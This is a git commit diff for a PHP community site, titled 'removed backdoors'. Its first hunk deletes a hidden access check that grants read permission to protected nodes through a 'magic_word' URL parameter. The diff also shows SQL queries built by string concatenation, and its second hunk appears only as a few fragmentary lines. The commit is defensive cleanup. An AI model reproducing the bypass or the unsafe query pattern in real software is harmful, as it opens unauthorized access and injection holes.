From: niekt0 Date: Mon, 24 Jan 2011 13:21:59 +0000 (+0100) Subject: removed backdoors X-Git-Url: https://git.harvie.cz/?a=commitdiff_plain;h=759f4317a96aa5e54309077d996271d1d7e84467;p=mirrors%2FKyberia-bloodline.git removed backdoors --- diff --git a/wwwroot/inc/eventz/display.inc b/wwwroot/inc/eventz/display.inc index fe180e4..76ad8bd 100644 --- a/wwwroot/inc/eventz/display.inc +++ b/wwwroot/inc/eventz/display.inc @@ -59,29 +59,7 @@ if (isset($referer_id) && is_numeric($referer_id)) { $q="insert into neurons set synapse_creator='".$_SESSION['user_id']."',dst='".$node['node_id']."',src='$referer_id',synapse=1"; $db->query($q); } -} - - -elseif (!$permissions['r'] && $_GET['magic_word']) { - $magic_word_big=$_GET['magic_word']; - - if ( preg_match("/(\d+)-(.+)/",$_GET['magic_word'],$mu)) { - $magic_uid=$mu['1']; - $magic_word=addslashes($mu['2']); - // XXX WTF column magic_word does not exists - $q="select login from users where user_id='$magic_uid' and magic_word='$magic_word'"; - $set=$db->query($q); - if ($set->getNumRows()) { - $permissions['r']=true; - } - } -} - - - - - -else { +} else { logger::log('enter',$node['node_id'],'failed'); } diff --git a/wwwroot/inc/smarty/node_methodz/function.get_atom.php b/wwwroot/inc/smarty/node_methodz/function.get_atom.php index 102d3d5..1d2eeee 100644 --- a/wwwroot/inc/smarty/node_methodz/function.get_atom.php +++ b/wwwroot/inc/smarty/node_methodz/function.get_atom.php @@ -1,8 +1,11 @@ assign('get_atom',$get_atom); - } +*/ +} + ?>